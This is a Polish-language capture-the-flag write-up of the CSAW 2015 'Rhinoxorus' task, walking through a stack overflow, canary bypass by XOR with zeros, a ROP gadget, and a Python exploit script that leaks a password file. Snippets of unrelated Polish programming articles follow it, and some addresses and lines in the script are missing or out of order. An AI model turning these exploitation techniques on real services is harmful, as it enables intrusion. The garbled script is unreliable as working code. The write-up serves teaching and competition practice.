CSAW CTF Qualification Round 2015 Rhinoxorus
|
|
- Kajetan Leśniak
- 6 lat temu
- Przeglądów:
Transkrypt
1 CSAW CTF Qualification Round 2015 Rhinoxorus CSAW CTF to najpopularniejsze na świecie zawody Capture The Flag skierowane głównie dla początkujących. Organizowane są przez studentów Instytutu Politechnicznego Uniwersytetu Nowojorskiego i są częścią corocznych dni otwartych poświęconych bezpieczeństwu informatycznemu (Cyber Security Awareness Week). Nagrodą w kwalifikacjach (współfinansowaną również przez rząd Stanów Zjednoczonych) dla 15 najlepszych zespołów studenckich (niestety tylko tych z USA bądź Kanady) jest udział, przelot i zakwaterowanie podczas finałów w Nowym Jorku. Podczas tegorocznych kwalifikacji aż 8 drużyn zdobyło maksymalną ilość punktów, w tym najlepszy polski zespół Dragon Sector. CTF CSAW CTF Qualification Round Waga CTFtime.org Liczba drużyn (z niezerową liczbą punktów) System punktacji zadań 40 ( Od 10 punktów (bardzo proste) do 600 punktów (trudne). Liczba zadań 35 Podium 1. PPP87 (Stany Zjednoczone) 6860 pkt. 2. Shellphish Sashimi (Stany Zjednoczone) 6860 pkt CBread (Stany Zjednoczone) 6860 pkt. Zadanie Rhinoxorus (Exploitables 500) RHINOXORUS Opisywane przez nas zadanie było najwyżej ocenionym w kategorii Exploitables (pwn). Standardowo dostarczone przez autora zadania były: plik wykonywalny serwera oraz adres, pod którym możemy się z nim komunikować w infrastrukturze przygotowanej przez administratorów zawodów. Jako bardzo nietypowy dodatek załączony był również plik z kodem źródłowym zadania w języku C. I to właśnie od niego zaczęliśmy naszą analizę. ANALIZA KODU ŹRÓDŁOWEGO Rozpoczęcie od analizy funkcji main pozwala nam stwierdzić, że program po uruchomieniu wczytuje zawartość pliku password.txt do zmiennej globalnej i zaczyna nasłuchiwać na porcie 24242, forkując się z każdym nowym połączeniem przychodzącym. Oryginalny proces zamyka deskryptor połączenia oraz czeka na kolejne, a proces potomny obsługujący połączenie w funkcji process_connection czeka na przesłanie BUF_SIZE (stała o wartości 256) 64 / (40) /
2 CSAW CTF QUALIFICATION ROUND 2015 RHINOXORUS bajtów od użytkownika i wywołuje pewną funkcję z tablicy globalnej spod indeksu wskazanego przez wartość pierwszego przesłanego bajtu: bytes_read = recv(sockfd, recv_buf, (unsigned int)buf_size, 0); if (bytes_read > 0) func_array[recv_buf[0]](recv_buf, (unsigned int)bytes_read); W kodzie programu najbardziej rzucają się w oczy bardzo podobne do siebie funkcje, do których wskaźniki umieszczone są w tablicy 256-elementowej, o której mowa powyżej. Te różnią się od siebie tylko identyfikatorem w nazwie i wartością będącą wielkością bufora oraz wartością początkową wszystkich jego bajtów. Poniżej jedna z tych funkcji, której indeks w tablicy to 0, identyfikator w nazwie to 0x32, a wartość początkowa to 0x84. unsigned char func_32(unsigned char *buf, unsigned int count) { unsigned int i; unsigned char localbuf[0x84]; // stała 0x84 jest różna dla // każdej funkcji w tablicy unsigned char byte=0x84; // stała 0x84 jest różna dla każdej //funkcji w tablicy memset(localbuf, byte, sizeof(localbuf)); printf("in function func_32, count is %u, bufsize is 0x84\n", count); if (0 == --count) for (i = 0; i < count; ++i) localbuf[i] ^= buf[i]; Zła wiadomość to włączona ochrona stosu (czyli tak zwane kanarki, mechanizm, który ma za zadanie wykryć nadpisanie adresu powrotu i gwałtownie zakończyć wykonanie programu w tej sytuacji), która może nam utrudnić (ale niekoniecznie uniemożliwić) przepełnienie bufora. Dobra informacja to brak zgodności pliku wykonywalnego z randomizacją adresów (tzw. ASLR, address space layout randomization), co oznacza, że symbole globalne będą miały za każdym razem taki sam adres. Rozwiązuje nam to problem uzyskania adresu bufora z hasłem (który jest zmienną globalną, więc nie znajdzie się na stosie) oraz adresów funkcji. # readelf -lw rhinoxorus_cd2be6030fb52cbc13a48b13603b9979 grep STACK GNU_STACK 0x x x x x00000 RW 0x10 Za pomocą narzędzia readelf sprawdzamy również, czy podczas uruchomienia programu będziemy mogli umieścić kod wykonywalny bezpośrednio na stosie (tzw. shellcode), ale brak prawa do wykonania mówi nam, że będzie to niemożliwe. RAMKA STOSU ORAZ KANAREK Aby dowiedzieć się, co dokładnie będziemy nadpisywać przy wykorzystaniu przepełnienia bufora, musimy spojrzeć na ramkę stosu atakowanej funkcji (wielkość bufora jest inna w każdej funkcji, ale poza tym ramka stosu jest identyczna) func_array[localbuf[0]](localbuf+1, count); } Możemy również zauważyć, że nastąpi w niej przepełnienie bufora, jeżeli w argumencie count przekazana zostanie większa wartość od wielkości lokalnej tablicy localbuf. Następnie wywoływana jest kolejna funkcja z tablicy. Teraz wiemy, że przepełnienie może nastąpić już przy pierwszym wywołaniu tej funkcji (którą sami wybieramy pierwszym bajtem, a początkowy przekazany count będzie wynosił 256). Interesująca wydaje się również funkcja socksend, która przyjmuje: deskryptor sieciowy, adres do bufora oraz jego wielkość, a następnie wysyła zawartość tego bufora pod podany deskryptor. Co ciekawe, nie jest ona nigdzie wywoływana. Może to nam sugerować, że to właśnie wywołanie jej z argumentami pozwalającymi poznać nam hasło wczytane na początku może być jedną z dróg do wykonania zadania. Tym bardziej że w przeciwieństwie do wielu innych zadań typu pwn aplikacja sama pełni rolę serwera hostującego zadanie i nie przekierowuje domyślnych deskryptorów do przychodzącego połączenia. Znacznie utrudniłoby to zdobycie shella (powłoki systemowej) na zdalnym systemie, bo nie wystarczyłoby stworzyć odpowiedniego procesu. Postanowiliśmy podążyć za prostszym, jak nam się wydaje, rozwiązaniem: wywołaniem socksend. Potrzebne do tego będą nam: adres tablicy z hasłem, deskryptor połączenia, adres samej funkcji oraz metoda na jej wywołanie. ANALIZA PLIKU WYKONYWALNEGO Zanim zaczniemy statyczną analizę listingu z disasemblera, sprawdźmy za pomocą narzędzia hardening-check (z pakietu hardening-includes na systemach rodziny Debiana), jakie pułapki przygotował na nas kompilator: # hardening-check rhinoxorus_cd2be6030fb52cbc13a48b13603b9979 rhinoxorus_cd2be6030fb52cbc13a48b13603b9979: Position Independent Executable: no, normal executable! Stack protected: yes Fortify Source functions: no, only unprotected functions found! Read-only relocations: yes Immediate binding: no, not found! Rysunek 1. Ramka stosu atakowanej funkcji Stos możemy nadpisać przez przepełnienie bufora localbuf, poprzez canary, adres powrotu z funkcji, argumenty buf i counter, docierając do ramki stosu kolejnej funkcji (patrz Rysunek 1). Naszą pierwszą przeszkodą będzie canary (kanarek) bądź cookie (ciastko), który jest częścią mechanizmu buffer overflow protection. Przez większą część XX wieku górnicy zabierali do szybów kanarki, które w przypadku wycieku toksycznych gazów (najczęściej tlenku węgla) wykazywały objawy otrucia szybciej niż ludzie i dawało to sygnał / / 65
3 górnikom do ucieczki. W naszym przypadku kompilator umieszcza na stosie wartość, która sprawdzana jest przed opuszczeniem funkcji. Jeżeli została nadpisana i jej wartość zmieniła się zabezpieczenie nie pozwala na dalsze kontynuowanie wykonania programu. Realizowane jest to w poniższy sposób: mov ecx, [ebp+canary] ; przeniesienie kanarka do rejestru ;ecx xor ecx, large gs:14h ; porównanie kanarka z wartością w ;pamięci pod gs:14h jz short kanarek_ok ; jeśli równy, skaczemy pod label ;kanarek_ok call stack_chk_fail ; kanarek naruszony błąd, koniec programu kanarek_ok: leave retn ; zakończenie funkcji ; wyjście z funkcji Nie mamy możliwości odczytać początkowej wartości kanarka w żaden sposób. Jak w takim razie go nadpisać, by nie zmienić jego wartości? Musimy wrócić do miejsca, w którym dokonuje się przepełnienie stosu. for (i = 0; i < count; ++i) localbuf[i] ^= buf[i]; Jak widzimy, nasz bufor nie jest tak naprawdę bezpośrednio wpisany w stos, a poddawany operacji xor z już jego istniejącą zawartością. Jest to zarówno utrudnienie (bo nie możemy ustawić dowolnej wartości, jeżeli nie znamy tej oryginalnej), jak i w tej sytuacji wybawienie, bo możemy wykorzystać oczywistą własność operacji xor: p 0 = p Jeżeli spowodujemy więc, że wartość canary będzie xorowana z zerami, to zawsze pozostanie nietknięta mechanizm obronny nie wykryje próby ataku i wykonanie pójdzie dalej. Teraz możemy już nadpisać adres powrotu, ale nie wiemy jeszcze, gdzie powinniśmy skoczyć. PRZYGOTOWANIE DO SKOKU Nasz ostateczny cel to zdobycie zawartości bufora password. W tym celu najprostszym rozwiązaniem wydaje się być wywołanie funkcji socksend w następujący sposób: socksend(fd, password, BUF_SIZE); Przy konwencji wywołania obowiązującej w x86 oznacza to, że przy wykonaniu opcode u ret szczyt stosu musi wyglądać tak jak na Rysunku 3: Rysunek 3. Docelowy wygląd skoku dla funkcji socksend Rysunek 2. Stan stosu podczas ataku Wtedy zostanie zdjęty adres funkcji socksend, wykonany skok do niego (tak właśnie działa opcode ret), następna wartość na stosie zostanie potraktowana jako adres powrotu, a reszta jako argumenty. Niestety, mamy za mało miejsca, żeby umieścić te wartości od razu zaglądając w ramkę stosu, widzimy, że tuż za adresem powrotu na stosie znaj- 66 / (40) /
4 CSAW CTF QUALIFICATION ROUND 2015 RHINOXORUS dują się buf oraz count. Są to parametry, które jeszcze przed powrotem z naszej funkcji zostaną przekazane w wywołaniu kolejnej funkcji z tablicy. Aby szybko z niej wrócić i zatrzymać łańcuch wywołań, powinniśmy ustawić count na 1: if (0 == --count) Możemy to zrobić, ponieważ znamy pierwotną wartość jest to oczywiście wielkość wysłanego przez nas bufora. Zaraz po tym trafimy na ramkę stosu funkcji obsługującej nasze połączenie (Rysunek 4): RETURN ORIENTED PROGRAMMING Pokonanie tej odległości to nic innego jak zdjęcie odpowiedniej ilości elementów ze stosu. Nie możemy użyć w tym celu własnego kodu jak sprawdziliśmy wcześniej stos, a więc i nasz bufor, nie jest wykonywalny. Musimy zatem znaleźć fragmenty istniejącego kodu w aplikacji, które zrobią to za nas. Wtedy podmiana oryginalnego adresu powrotu z funkcji na pierwszy z tych fragmentów, z których każdy kończy się instrukcją powrotu (by móc od razu wywołać kolejny fragment), pozwoli na zupełne przekierowanie przepływu wykonania na nasz łańcuch gadżetów (tzw. ROP chain). Interesujące gadżety w naszym programie wyszukaliśmy za pomocą aplikacji rp++ ( # rp -r 4 -f rhinoxorus_cd2be6030fb52cbc13a48b13603b unique (...) A total of 4328 gadgets found. You decided to keep only the unique ones, 987 unique gadgets found. 0x08056dd5: aaa ; sbb bh, bh ; dec ecx ; ret ; (1 found) 0x0804b0bb: aad 0xFF ; dec ecx ; ret ; (1 found) 0x0804ad86: aam 0x83 ; retn 0x5201 ; (4 found) 0x0804b181: aam 0xFF ; dec ecx ; ret ; (1 found) 0x08052afb: adc [ebx-0x01], ebx ; dec ecx ; ret ; (1 found) (...) Rysunek 4.Ramka stosu wywołującej funkcji Tablica recv_buf to zawartość naszego oryginalnego bufora. Jest to więc idealne miejsce, żeby to właśnie tam przygotować wywołanie socksend. Musimy jednak najpierw tam trafić. Po dokładnej analizie funkcji process_ connection wiemy, że od momentu opuszczenia naszej funkcji z tablicy dzieli nas od bufora na stosie jeszcze 8 dwordów (czyli 32 bajty). Z tej listy musimy znaleźć gadżet bądź ich kombinację, która przesunie nas jak najbliżej naszego bufora. Szczęśliwie trafiamy na taki, który sam jeden wykona całą tę robotę: zrzuci ze stosu 7 dwordów oraz skoczy pod ósmy, który jest już pierwszym elementem naszego bufora: gadget_pop: add esp, 0Ch ; pominięcie 3 elementów na stosie pop ebx ; zdjęcie elementu ze stosu (i zapisanie do ebx) pop esi ; zdjęcie elementu ze stosu (i zapisanie do esi) pop edi ; zdjęcie elementu ze stosu (i zapisanie do edi) pop ebp ; zdjęcie elementu ze stosu (i zapisanie do ebp) retn ; zdjęcie elementu ze stosu i skoczenie od niego reklama / / 67
5 SKOK Idealnie byłoby teraz jako pierwszy element naszego bufora umieścić adres funkcji socksend: 0x B. Zapisany w pamięci jako liczba little-endian wyglądać będzie następująco: Gdy spojrzymy jeszcze raz na kod funkcji z tablicy, przypomnimy sobie, że pierwszy bajt bufora był jednocześnie indeksem w tablicy do funkcji, która zostanie wywołana rekurencyjnie: func_array[localbuf[0]](localbuf+1, count); Zmusza nas to do wykorzystania konkretnej funkcji, ale nie stanowi to dużego problemu będziemy musieli tylko wziąć pod uwagę wielkość lokalnego bufora podczas planowania, jak ostatecznie będzie wyglądać nasz payload (wysyłany przez nas ładunek). Ostatnia niewiadoma to deskryptor naszego połączenia. W Linuksach system stara się nadawać tworzonym deskryptorom jak najmniejsze wartości. Trzy z nich: stdin, stdout oraz stderr, mają domyślnie wartości 0, 1 oraz 2. Nasz program tworzy gniazdo sieciowe, na którym czeka na połączenia przychodzące z deskryptorem o wartości 3. Za pomocą accept przyjmuje połączenie i zwrócony deskryptor otrzyma kolejną, najmniejszą dostępną wartość: 4. Następnie forkuje się. Oznacza to, że wszystkie deskryptory zostają skopiowane i przekazane do programu potomnego. Ważne jest to, że oryginalny proces zamyka od razu swoją kopię deskryptora połączenia przychodzącego. Dzięki temu deskryptor następnego połączenia znów będzie mógł otrzymać wartość 4. Jako ostatnie już wartości umieszczamy kolejno: adres powrotu z funkcji socksend (wybraliśmy funkcję exit z tabeli importów, aby program bez problemów zakończył swoje działanie): 0x , wartość deskryptora: 4, adres zmiennej globalnej z hasłem: 0x0805F0C0, oraz jej wielkość: 255. Jeżeli wszystko poszło po naszej myśli, powinniśmy otrzymać teraz zawartość pliku password.txt wystarczy napisać skrypt wysyłający odpowiedni payload. SKRYPT # -*- coding: utf-8 -*- import struct, socket # deskryptor dla socksend (przewidywana wartość) + struct.pack('<i', 4) # adres zmiennej globalnej password dla socksend + password_addr # ilość bajtów do przeczytania dla socksend + struct.pack('<i', 256) # wolne miejsce na stosie (niezajęta część bufora) + placeholder * 39 # xorowane z kanarkiem + '\0\0\0\0' # puste miejsce na stosie + placeholder * 3 # podmieniamy adres powrotu na gadget_pop + gadget_pop_xor # xorowane z niepotrzebnym już argumentem z adresem bufora + placeholder # zerowanie countera + counter_xor ) # zmierzenie długości payloadu payload_length = len(get_payload(123)) # i stworzenie ostatecznego payloadu payload = get_payload(payload_length - 1) s.send(payload) print s.recv(99999) I udaje się skrypt, który napisaliśmy, zadziałał. Zdobyliśmy w ten sposób upragnioną flagę: cc21fe41b44ba70d0e6978c PODSUMOWANIE Zadanie, które tu opisaliśmy, było jednym spośród najwyżej punktowanych w tym turnieju. Kluczem do rozwiązania zadania było dokładne zrozumienie struktury ramek stosu oraz mechanizmów kontroli przepływu wykonania. Od tego momentu zadanie wykonywaliśmy niemal mechanicznie, co nie znaczy, że szybko i bezpośrednio doszliśmy do ostatecznej postaci skryptu. Pod koniec zawodów dramatycznie walczyliśmy z własnymi głupimi błędami oraz czasem. Zadanie zaczęliśmy rozwiązywać na 3 godziny przed końcem, by ostatecznie flagę uzyskać raptem na 20 minut przed zakończeniem konkursu. Ale na szczęście udało się, dzięki czemu mogliśmy podzielić się z wami naszym rozwiązaniem! Jarosław "msm" Jedynak, Mateusz "Rev" Szymaniec HOST = ' ' PORT = s = socket.socket() s.connect((host, PORT)) # oryginalny adres powrotu na stosie first_return_addr = 0x08056AFA # placeholder na zmienne, których zawartość jest nieważna placeholder = 'xxxx' gadget_pop_xor = struct.pack('<i', 0x080578f5 ^ first_return_addr) password_addr = struct.pack('<i', 0x0805F0C0) socksend_addr = struct.pack('<i', 0x B) exit_addr = struct.pack('<i', 0x ) def get_payload(counter): # xorujemy z 1, bo chcemy, żeby counter przyjął 1 counter_xor = struct.pack('<i', counter ^ 1) # składamy payload return ( # adres funkcji socksend (znany) socksend_addr # adres powrotu z funkcji socksend do exit + exit_addr O drużynie Rozwiązanie zadania Rhinoxorus zostało nadesłane przez p4, zespół CTF- -owy użytkowników serwisu 4programmers.net mający ambicje na drugie miejsce w Polsce (bo pierwsze już zajęte ;)) / (40) /
Projekt PaX. Łata na jądro systemu operacyjnego Linux Strona projektu: pax.grsecurity.net
Projekt PaX Łata na jądro systemu operacyjnego Linux Strona projektu: pax.grsecurity.net Główne rodzaje ataków związane z błędem przepełnienia bufora Niebezpieczeństwa mają źródło w błędach popełnianych
znajdowały się różne instrukcje) to tak naprawdę definicja funkcji main.
Część XVI C++ Funkcje Jeśli nasz program rozrósł się już do kilkudziesięciu linijek, warto pomyśleć o jego podziale na mniejsze części. Poznajmy więc funkcje. Szybko się przekonamy, że funkcja to bardzo
Aplikacja Sieciowa wątki po stronie klienta
Aplikacja Sieciowa wątki po stronie klienta Na ostatnich zajęciach zajmowaliśmy się komunikacją pomiędzy klientem a serwerem. Wynikiem naszej pracy był program klienta, który za pomocą serwera mógł się
Podstawy programowania. Wykład Funkcje. Krzysztof Banaś Podstawy programowania 1
Podstawy programowania. Wykład Funkcje Krzysztof Banaś Podstawy programowania 1 Programowanie proceduralne Pojęcie procedury (funkcji) programowanie proceduralne realizacja określonego zadania specyfikacja
Return-oriented exploiting
HISPASEC Return-oriented exploiting by Gynvael Coldwind Dramatis Personæ Gynvael Coldwind - obecnie spec. ds. bezp. IT @ Hispasec - wcześniej ArcaBit - autor kilku artykułów (Hakin9 i Xploit) - prowadzi
Analiza malware Remote Administration Tool (RAT) DarkComet BeSTi@
Analiza malware Remote Administration Tool (RAT) DarkComet BeSTi@ 24 marzec, 2014 Wstęp Tydzień temu do wielu skrzynek pocztowych w Polsce trafił email z linkiem do pliku podszywającego się pod nową aktualizację
4 Literatura. c Dr inż. Ignacy Pardyka (Inf.UJK) ASK MP.01 Rok akad. 2011/2012 2 / 24
Wymagania proceduralnych języków wysokiego poziomu ARCHITEKTURA SYSTEMÓW KOMPUTEROWYCH modele programowe procesorów ASK MP.01 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad.
Praktycznie całe zamieszanie dotyczące konwencji wywoływania funkcji kręci się w okół wskaźnika stosu.
Krótki artykuł opisujący trzy podstawowe konwencje wywoływania funkcji C++ (a jest ich więcej). Konwencje wywoływania funkcji nie są tematem, na który można się szeroko rozpisać, jednak należy znać i odróżniać
Jak wiemy, wszystkich danych nie zmieścimy w pamięci. A nawet jeśli zmieścimy, to pozostaną tam tylko do najbliższego wyłączenia zasilania.
Jak wiemy, wszystkich danych nie zmieścimy w pamięci. A nawet jeśli zmieścimy, to pozostaną tam tylko do najbliższego wyłączenia zasilania. Dlatego trzeba je zapisywać do pliku, a potem umieć je z tego
Przepełnienie bufora i łańcuchy formatujace
Metody włamań do systemów komputerowych Przepełnienie bufora i łańcuchy formatujace Bogusław Kluge, Karina Łuksza, Ewa Makosa b.kluge@zodiac.mimuw.edu.pl, k.luksza@zodiac.mimuw.edu.pl, e.makosa@zodiac.mimuw.edu.pl
Adam Kotynia, Łukasz Kowalczyk
Adam Kotynia, Łukasz Kowalczyk Dynamiczna alokacja pamięci Alokacja pamięci oraz dezalokacja pamięci jest to odpowiednio przydział i zwolnienie ciągłego obszaru pamięci. Po uruchomieniu, proces (program)
1 Podstawy c++ w pigułce.
1 Podstawy c++ w pigułce. 1.1 Struktura dokumentu. Kod programu c++ jest zwykłym tekstem napisanym w dowolnym edytorze. Plikowi takiemu nadaje się zwykle rozszerzenie.cpp i kompiluje za pomocą kompilatora,
SYSTEMY OPERACYJNE I laboratorium 3 (Informatyka stacjonarne 2 rok, semestr zimowy)
Procesy i shell. Polecenia ps, sleep, exit, jobs, bg, fg, top, kill, bash, tcsh, which, type, whereis, touch. Metaznak & i >>. Dowiązania miękkie i twarde. Proces jest programem, który jest wykonywany
Cel wykładu. Przedstawienie działania exploitów u podstaw na przykładzie stack overflow.
Exploity w praktyce Plan prelekcji Powtórka assembly x86 32. Pamięć uruchamianych programów. Prosty stack overflow exploit. Tworzenie shellcode i jego uruchomienie. Wstrzykiwanie shellcode wykorzystując
Rozpoznawanie obrazu. Teraz opiszemy jak działa robot.
Rozpoznawanie obrazu Implementujesz oprogramowanie do rozpoznawania obrazu dla robota. Za każdym razem, gdy robot robi zdjęcie kamerą, jest ono zapisywane jako czarno-biały obraz w pamięci robota. Każdy
Część XVII C++ Funkcje. Funkcja bezargumentowa Najprostszym przypadkiem funkcji jest jej wersja bezargumentowa. Spójrzmy na przykład.
Część XVII C++ Funkcje Funkcja bezargumentowa Najprostszym przypadkiem funkcji jest jej wersja bezargumentowa. Spójrzmy na przykład. 2 3 Tworzymy deklarację i definicję funkcji o nazwie pobierzln() Funkcja
Wskaźniki a tablice Wskaźniki i tablice są ze sobą w języku C++ ściśle związane. Aby się o tym przekonać wykonajmy cwiczenie.
Część XXII C++ w Wskaźniki a tablice Wskaźniki i tablice są ze sobą w języku C++ ściśle związane. Aby się o tym przekonać wykonajmy cwiczenie. Ćwiczenie 1 1. Utwórz nowy projekt w Dev C++ i zapisz go na
Programowanie Niskopoziomowe
Programowanie Niskopoziomowe Wykład 11: Procedury zaawansowane Dr inż. Marek Mika Państwowa Wyższa Szkoła Zawodowa im. Jana Amosa Komeńskiego W Lesznie Plan Wstęp Ramki stosu Rekurencja INVOKE, ADDR, PROC,
Programowanie Niskopoziomowe
Programowanie Niskopoziomowe Wykład 8: Procedury Dr inż. Marek Mika Państwowa Wyższa Szkoła Zawodowa im. Jana Amosa Komeńskiego W Lesznie Plan Wstęp Linkowanie z bibliotekami zewnętrznymi Operacje na stosie
Architektura systemów komputerowych Laboratorium 14 Symulator SMS32 Implementacja algorytmów
Marcin Stępniak Architektura systemów komputerowych Laboratorium 14 Symulator SMS32 Implementacja algorytmów 1. Informacje Poniższe laboratoria zawierają podsumowanie najważniejszych informacji na temat
Narzędzia informatyczne w językoznawstwie
Narzędzia informatyczne w językoznawstwie Perl - Manipulowanie tablic, zmienne lokalne, funkcje Marcin Junczys-Dowmunt junczys@amu.edu.pl Zakład Logiki Stosowanej http://www.logic.amu.edu.pl 12. grudnia
Laboratorium Systemów Operacyjnych. Ćwiczenie 4. Operacje na plikach
Laboratorium Systemów Operacyjnych Ćwiczenie 4. Operacje na plikach Wykonanie operacji wymaga wskazania pliku, na którym operacja ma zostać wykonana. Plik w systemie LINUX identyfikowany jest przez nazwę,
Instrukcja do ćwiczenia P4 Analiza semantyczna i generowanie kodu Język: Ada
Instrukcja do ćwiczenia P4 Analiza semantyczna i generowanie kodu Język: Ada Spis treści 1 Wprowadzenie 1 2 Dane i kod 2 3 Wyrażenia 2 3.1 Operacje arytmetyczne i logiczne.................. 2 3.2 Podstawowe
Zadanie Zaobserwuj zachowanie procesora i stosu podczas wykonywania następujących programów
Operacje na stosie Stos jest obszarem pamięci o dostępie LIFO (Last Input First Output). Adresowany jest niejawnie przez rejestr segmentowy SS oraz wskaźnik wierzchołka stosu SP. Używany jest do przechowywania
Parę słów o przepełnieniu bufora.
Parę słów o przepełnieniu bufora. Łukasz Pejas Styczeń 2006 1 Bufor na stosie. Stos służy między innymi do przekazywania parametrów do funkcji i do tworzenia zmiennych lokalnych funkcji. Jest czymś w rodzaju
002 Opcode Strony projektu:
ReverseCraft assem bler by gynvael.coldwind//vx Opcode Strony projektu: http://re.coldwind.pl/ http://www.uw-team.org/ Zasoby! czyli co możemy użyć... Instrukcje procesora Pamięć Wirtualna Rejestry CPU
Jak zawsze wyjdziemy od terminologii. While oznacza dopóki, podczas gdy. Pętla while jest
Pętle Pętla to pewien fragment kodu, który jest wykonywany wielokrotnie. Wyobraź sobie taką sytuację. Piszesz program do szyfrowania danych. Dane są szyfrowane kolejno bajt po bajcie. Załóżmy, że plik
Programowanie w asemblerze Aspekty bezpieczeństwa
Programowanie w asemblerze Aspekty bezpieczeństwa 20 grudnia 2016 Ochrona stron pamięci Najstarsze(?) ataki: modyfikacja kodu programu. Lekarstwo: W XOR X (Write XOR execute) Oznacza to, że w atrybutach
JAK DZIAŁAJĄ FUNKCJE PODZIAŁ PAMIĘCI
JAK DZIAŁAJĄ FUNKCJE PODZIAŁ PAMIĘCI Gdy wywołujesz daną funkcję, program przechodzi do tej funkcji, przekazywane są parametry i następuje wykonanie ciała funkcji. Gdy funkcja zakończy działanie, zwracana
Przepełnienie bufora. Trochę historii Definicja problemu Mechanizm działania Przyczyny Źródła (coś do poczytania)
Przepełnienie bufora Trochę historii Definicja problemu Mechanizm działania Przyczyny Źródła (coś do poczytania) Historia ważniejsze wydarzenia 1988 Morris worm, wykorzystywał m.in. przepełnienie bufora
INTERNETOWE BAZY DANYCH materiały pomocnicze - wykład VII
Wrocław 2006 INTERNETOWE BAZY DANYCH materiały pomocnicze - wykład VII Paweł Skrobanek C-3, pok. 323 e-mail: pawel.skrobanek@pwr.wroc.pl INTERNETOWE BAZY DANYCH PLAN NA DZIŚ : Cookies Sesje Inne możliwości
Assembler w C++ Syntaksa AT&T oraz Intela
Ponownie dodaję artykuł zahaczający o temat assemblera. Na własnej skórze doświadczyłem dzisiaj problemów ze wstawką assemblerową w kodzie C++, dlatego postanowiłem stworzyć artykuł, w którym zbiorę w
XML i nowoczesne technologie zarządzania treścią 2007/08
Zadanie 3 Poprawkowe XML i nowoczesne technologie zarządzania treścią 2007/08 Wprowadzenie Należy napisać program w Javie, który czytając w trybie SAX plik z listą operacji, wykonuje zadane operacje na
Tworzenie aplikacji rozproszonej w Sun RPC
Tworzenie aplikacji rozproszonej w Sun RPC Budowa aplikacji realizowana jest w następujących krokach: Tworzenie interfejsu serwera w języku opisu interfejsu RPCGEN Tworzenie: namiastki serwera namiastki
Podstawy Programowania C++
Wykład 3 - podstawowe konstrukcje Instytut Automatyki i Robotyki Warszawa, 2014 Wstęp Plan wykładu Struktura programu, instrukcja przypisania, podstawowe typy danych, zapis i odczyt danych, wyrażenia:
Pliki. Funkcje tworzące pliki i operujące na nich opisane są w części 2 pomocy systemowej. Tworzenie i otwieranie plików:
Pliki W celu wykonania jakiejkolwiek operacji na istniejącym pliku, plik ten musi zostać otwarty, natomiast jeśli plik jeszcze nie istnieje, to musi zostać utworzony. Plik może zostać otwarty w trybie:
Ćwiczenie nr 6. Programowanie mieszane
Ćwiczenie nr 6 Programowanie mieszane 6.1 Wstęp Współczesne języki programowania posiadają bardzo rozbudowane elementy językowe, co pozwala w większości przypadków na zdefiniowanie całego kodu programu
Obsługa plików. Systemy Operacyjne 2 laboratorium. Mateusz Hołenko. 25 września 2011
Obsługa plików Systemy Operacyjne 2 laboratorium Mateusz Hołenko 25 września 2011 Plan zajęć 1 Pliki w systemie Linux i-węzły deskryptory plików 2 Operacje na plikach otwieranie i zamykanie zapis i odczyt
Laboratorium 6: Dynamiczny przydział pamięci. dr inż. Arkadiusz Chrobot dr inż. Grzegorz Łukawski
Laboratorium 6: Dynamiczny przydział pamięci dr inż. Arkadiusz Chrobot dr inż. Grzegorz Łukawski 15 maja 2015 1. Wprowadzenie Instrukcja poświęcona jest dynamicznemu przydziałowi i zwalnianiu pamięci w
Uniwersytet Zielonogórski Instytut Sterowania i Systemów Informatycznych. Ćwiczenie 3 stos Laboratorium Metod i Języków Programowania
Uniwersytet Zielonogórski Instytut Sterowania i Systemów Informatycznych Ćwiczenie 3 stos Laboratorium Metod i Języków Programowania Celem ćwiczenia jest zapoznanie studentów z najprostszą dynamiczną strukturą
Komunikacja za pomocą potoków. Tomasz Borzyszkowski
Komunikacja za pomocą potoków Tomasz Borzyszkowski Wstęp Sygnały, omówione wcześniej, są użyteczne w sytuacjach błędnych lub innych wyjątkowych stanach programu, jednak nie nadają się do przekazywania
Sesje, ciasteczka, wyjątki. Ciasteczka w PHP. Zastosowanie cookies. Sprawdzanie obecności ciasteczka
Sesje, ciasteczka, wyjątki Nie sposób wyobrazić sobie bez nich takich podstawowych zastosowań, jak logowanie użytkowników czy funkcjonowanie koszyka na zakupy. Oprócz tego dowiesz się, czym są wyjątki,
ARP Address Resolution Protocol (RFC 826)
1 ARP Address Resolution Protocol (RFC 826) aby wysyłać dane tak po sieci lokalnej, jak i pomiędzy różnymi sieciami lokalnymi konieczny jest komplet czterech adresów: adres IP nadawcy i odbiorcy oraz adres
Instrukcja do laboratorium Systemów Operacyjnych (semestr drugi)
Instrukcja do laboratorium Systemów Operacyjnych (semestr drugi) wiczenie trzecie Temat: Potoki i ł cza nazwane w Linuksie. Opracowanie: mgr in ż. Arkadiusz Chrobot Wprowadzenie 1. Komunikacja z wykorzystaniem
Łącza nienazwane(potoki) Łącza nienazwane mogą być używane tylko pomiędzy procesami ze sobą powiązanymi.
Przykład: $ ls more Łącza nienazwane(potoki) Łącza nienazwane mogą być używane tylko pomiędzy procesami ze sobą powiązanymi. Tworzenie łącza #include int pipe(int filedes[2]); Przykład: int
część 8 wskaźniki - podstawy Jarosław Gramacki Instytut Informatyki i Elektroniki Podstawowe pojęcia
Język ANSI C część 8 wskaźniki - podstawy Jarosław Gramacki Instytut Informatyki i Elektroniki Podstawowe pojęcia najbardziej podstawowe operacje na wskaźnikach int x = 1, y = 2, Tab[10]; int *ip; // czy
Stos liczb całkowitych
Stos liczb całkowitych class StosInt int* tab; unsigned size ; StosInt(unsigned s=10) tab=new int[size=s];top=0; ~StosInt()delete[] tab; void push(int i)tab[top++]=i; int pop(void) return tab[--top]; int
lekcja 8a Gry komputerowe MasterMind
lekcja 8a Gry komputerowe MasterMind Posiadamy już elementarną wiedzę w zakresie programowania. Pora więc zabrać się za rozwiązywanie problemów bardziej złożonych, które wymagają zastosowania typowych
TCP - receive buffer (queue), send buffer (queue)
BSD sockets c.d. TCP - receive buffer (queue), send buffer (queue) Z każdym gniazdem sieciowym są skojarzone: Bufor do odbierania danych (ang. receive buffer) Przychodzące dane są umieszczane w buforze
Tablice (jedno i wielowymiarowe), łańcuchy znaków
Tablice (jedno i wielowymiarowe), łańcuchy znaków wer. 8 z drobnymi modyfikacjami! Wojciech Myszka Katedra Mechaniki i Inżynierii Materiałowej 2017-04-07 09:35:32 +0200 Zmienne Przypomnienie/podsumowanie
Niezwykłe tablice Poznane typy danych pozwalają przechowywać pojedyncze liczby. Dzięki tablicom zgromadzimy wiele wartości w jednym miejscu.
